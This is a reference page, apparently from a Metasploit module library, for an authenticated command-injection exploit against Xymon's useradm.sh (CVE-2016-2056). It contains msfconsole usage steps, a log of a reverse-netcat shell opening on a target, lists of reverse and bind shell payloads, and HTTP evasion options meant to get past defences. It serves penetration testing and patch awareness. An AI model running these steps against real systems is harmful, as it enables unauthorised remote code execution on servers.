Xymon useradm Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/xymon_useradm_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Xymon useradm Command Execution
Module: exploit/unix/webapp/xymon_useradm_cmd_exec
Source code: modules/exploits/unix/webapp/xymon_useradm_cmd_exec.rb
Disclosure date: 2016-02-14
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, Solaris, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-2056
This module exploits a command injection vulnerability in
Xymon versions before 4.3.25 which allows authenticated
users to execute arbitrary operating system commands as the
web server user. When adding a new user to the system via
the web interface with useradm.sh
, the user's username and
password are passed to htpasswd
in a call to system()
without validation. This module has been tested successfully
on Xymon version 4.3.10 on Debian 6.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/webapp/xymon_useradm_cmd_exec
msf exploit(xymon_useradm_cmd_exec) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username for Xymon
PASSWORD: The password for Xymon
Knowledge Base
Description
This module exploits a command injection vulnerability in Xymon versions before 4.3.25 which allows authenticated users to execute arbitrary operating system commands as the web server user.
When adding a new user to the system via the web interface with
useradm.sh
, the user's username and password are passed to
htpasswd
in a call to system()
without validation.
Vulnerable Software
Xymon is a system for monitoring servers and networks.
This module has been tested successfully on:
- Xymon version 4.3.10 on Debian 6.
Xymon packages are available in software repositories for various Linux distributions :
sudo apt-get install xymon
Refer to http://xymon.sourceforge.net/xymon/help/install.html for more information.
A Xymon virtual appliance is also available :
- https://sourceforge.net/projects/xymon/files/Xymon/4.3.10/VM/
To enable authentication via the web interace, add a user to /etc/xymon/xymonpasswd
:
htpasswd /etc/xymon/xymonpasswd
Verification Steps
- Start
msfconsole
- Do:
use exploit/unix/webapp/xymon_useradm_cmd_exec
- Do:
set rhosts <IP>
- Do:
set username <username>
- Do:
set password <password>
- Do:
run
- You should get a new session
Options
TARGETURI
The base path to Xymon secure CGI directory (default: /xymon-seccgi/
)
USERNAME
The username for Xymon
PASSWORD
The password for Xymon
Scenarios
msf5 > use exploit/unix/webapp/xymon_useradm_cmd_exec
msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set rhosts xymon.local
rhosts => xymon.local
msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set username admin
username => admin
msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set password password
password => password
msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set verbose true
verbose => true
msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > check
[*] 10.1.1.132:80 - Xymon version 4.3.10
[*] 10.1.1.132:80 - The target appears to be vulnerable.
msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > run
[*] Started reverse TCP handler on 10.1.1.170:4444
[*] 10.1.1.132:80 - Xymon version 4.3.10
[+] 10.1.1.132:80 - Payload sent successfully
[*] Command shell session 1 opened (10.1.1.170:4444 -> 10.1.1.132:47682) at 2019-07-02 09:43:13 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/usr/lib/xymon/cgi-secure
ls
ackinfo.sh
acknowledge.sh
criticaleditor.sh
enadis.sh
useradm.sh
uname -a
Linux xymon 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/xymon_useradm_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/xymon_useradm_cmd_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/xymon_useradm_cmd_exec) > show info
Name: Xymon useradm Command Execution
Module: exploit/unix/webapp/xymon_useradm_cmd_exec
Platform: Unix, Linux, Solaris, BSD
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-02-14
Provided by:
Markus Krell
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Unix CMD
1 Linux
2 Solaris
3 BSD
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password for Xymon
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /xymon-seccgi/ yes The base path to Xymon secure CGI directory
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes The username for Xymon
VHOST no HTTP server virtual host
Payload information:
Space: 2048
Avoid: 3 characters
Description:
This module exploits a command injection vulnerability in Xymon
versions before 4.3.25 which allows authenticated users to execute
arbitrary operating system commands as the web server user. When
adding a new user to the system via the web interface with
`useradm.sh`, the user's username and password are passed to
`htpasswd` in a call to `system()` without validation. This module
has been tested successfully on Xymon version 4.3.10 on Debian 6.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-2056
https://packetstormsecurity.com/files/135758
https://lists.xymon.com/pipermail/xymon/2016-February/042986.html
https://www.securityfocus.com/archive/1/537522/100/0/threaded
https://sourceforge.net/p/xymon/code/7892/
https://www.debian.org/security/2016/dsa-3495
Module Options
This is a complete list of options available in the unix/webapp/xymon_useradm_cmd_exec exploit:
msf6 exploit(unix/webapp/xymon_useradm_cmd_exec) > show options
Module options (exploit/unix/webapp/xymon_useradm_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password for Xymon
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /xymon-seccgi/ yes The base path to Xymon secure CGI directory
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes The username for Xymon
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix CMD
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/xymon_useradm_cmd_exec exploit:
msf6 exploit(unix/webapp/xymon_useradm_cmd_exec) > show advanced
Module advanced options (exploit/unix/webapp/xymon_useradm_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/xymon_useradm_cmd_exec module can exploit:
msf6 exploit(unix/webapp/xymon_useradm_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix CMD
1 Linux
2 Solaris
3 BSD
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/xymon_useradm_cmd_exec exploit:
msf6 exploit(unix/webapp/xymon_useradm_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
1 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
4 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
5 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
6 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
7 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
8 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
9 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
10 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
11 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/xymon_useradm_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/xymon_useradm_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Connection failed
Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:
106: 'uri' => normalize_uri(target_uri.path, 'useradm.sh'),
107: 'authorization' => basic_auth(user, pass)
108: })
109:
110: unless res
111: vprint_status "#{peer} - Connection failed"
112: return CheckCode::Unknown
113: end
114:
115: if res.code == 401
116: vprint_status "#{peer} - Authentication failed"
<PEER> - Authentication failed
Here is a relevant code snippet related to the "<PEER> - Authentication failed" error message:
111: vprint_status "#{peer} - Connection failed"
112: return CheckCode::Unknown
113: end
114:
115: if res.code == 401
116: vprint_status "#{peer} - Authentication failed"
117: return CheckCode::Unknown
118: end
119:
120: if res.code == 404
121: vprint_status "#{peer} - useradm.sh not found"
<PEER> - useradm.sh not found
Here is a relevant code snippet related to the "<PEER> - useradm.sh not found" error message:
116: vprint_status "#{peer} - Authentication failed"
117: return CheckCode::Unknown
118: end
119:
120: if res.code == 404
121: vprint_status "#{peer} - useradm.sh not found"
122: return CheckCode::Safe
123: end
124:
125: unless res.body.include?('Xymon')
126: vprint_status "#{peer} - Target is not a Xymon server."
<PEER> - Target is not a Xymon server.
Here is a relevant code snippet related to the "<PEER> - Target is not a Xymon server." error message:
121: vprint_status "#{peer} - useradm.sh not found"
122: return CheckCode::Safe
123: end
124:
125: unless res.body.include?('Xymon')
126: vprint_status "#{peer} - Target is not a Xymon server."
127: return CheckCode::Safe
128: end
129:
130: version = res.body.scan(/>Xymon ([\d\.]+)</).flatten.first
131:
<PEER> - Could not determine Xymon version
Here is a relevant code snippet related to the "<PEER> - Could not determine Xymon version" error message:
128: end
129:
130: version = res.body.scan(/>Xymon ([\d\.]+)</).flatten.first
131:
132: unless version
133: vprint_status "#{peer} - Could not determine Xymon version"
134: return CheckCode::Detected
135: end
136:
137: vprint_status "#{peer} - Xymon version #{version}"
138:
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
156: }, 5)
157:
158: return if session_created?
159:
160: unless res
161: fail_with(Failure::Unreachable, 'Connection failed')
162: end
163:
164: if res.code == 401
165: fail_with(Failure::NoAccess, 'Authentication failed')
166: end
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
160: unless res
161: fail_with(Failure::Unreachable, 'Connection failed')
162: end
163:
164: if res.code == 401
165: fail_with(Failure::NoAccess, 'Authentication failed')
166: end
167:
168: unless res.code == 500
169: fail_with(Failure::Unknown, 'Unexpected reply')
170: end
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
164: if res.code == 401
165: fail_with(Failure::NoAccess, 'Authentication failed')
166: end
167:
168: unless res.code == 500
169: fail_with(Failure::Unknown, 'Unexpected reply')
170: end
171:
172: print_good "#{peer} - Payload sent successfully"
173:
174: res
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
174: res
175: end
176:
177: def exploit
178: unless [Exploit::CheckCode::Detected, Exploit::CheckCode::Appears].include?(check)
179: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
180: end
181:
182: if payload.arch.first == 'cmd'
183: execute_command(payload.encoded)
184: else
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #12041 Merged Pull Request: Add Xymon useradm Command Execution module
References
- CVE-2016-2056
- PACKETSTORM-135758
- https://lists.xymon.com/pipermail/xymon/2016-February/042986.html
- https://www.securityfocus.com/archive/1/537522/100/0/threaded
- https://sourceforge.net/p/xymon/code/7892/
- https://www.debian.org/security/2016/dsa-3495
See Also
Check also the following modules related to this module:
- auxiliary/gather/xymon_info
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
- exploit/unix/webapp/fusionpbx_exec_cmd_exec
- exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
- exploit/unix/webapp/opennetadmin_ping_cmd_injection
- exploit/unix/webapp/rconfig_install_cmd_exec
- exploit/unix/webapp/vicidial_manager_send_cmd_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
Related Nessus plugins:
- FreeBSD : xymon-server -- multiple vulnerabilities (1cecd5e0-c372-11e5-96d6-14dae9d210b8)
- Debian DSA-3495-1 : xymon - security update
- Debian DLA-488-1 : xymon security update
Authors
- Markus Krell
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.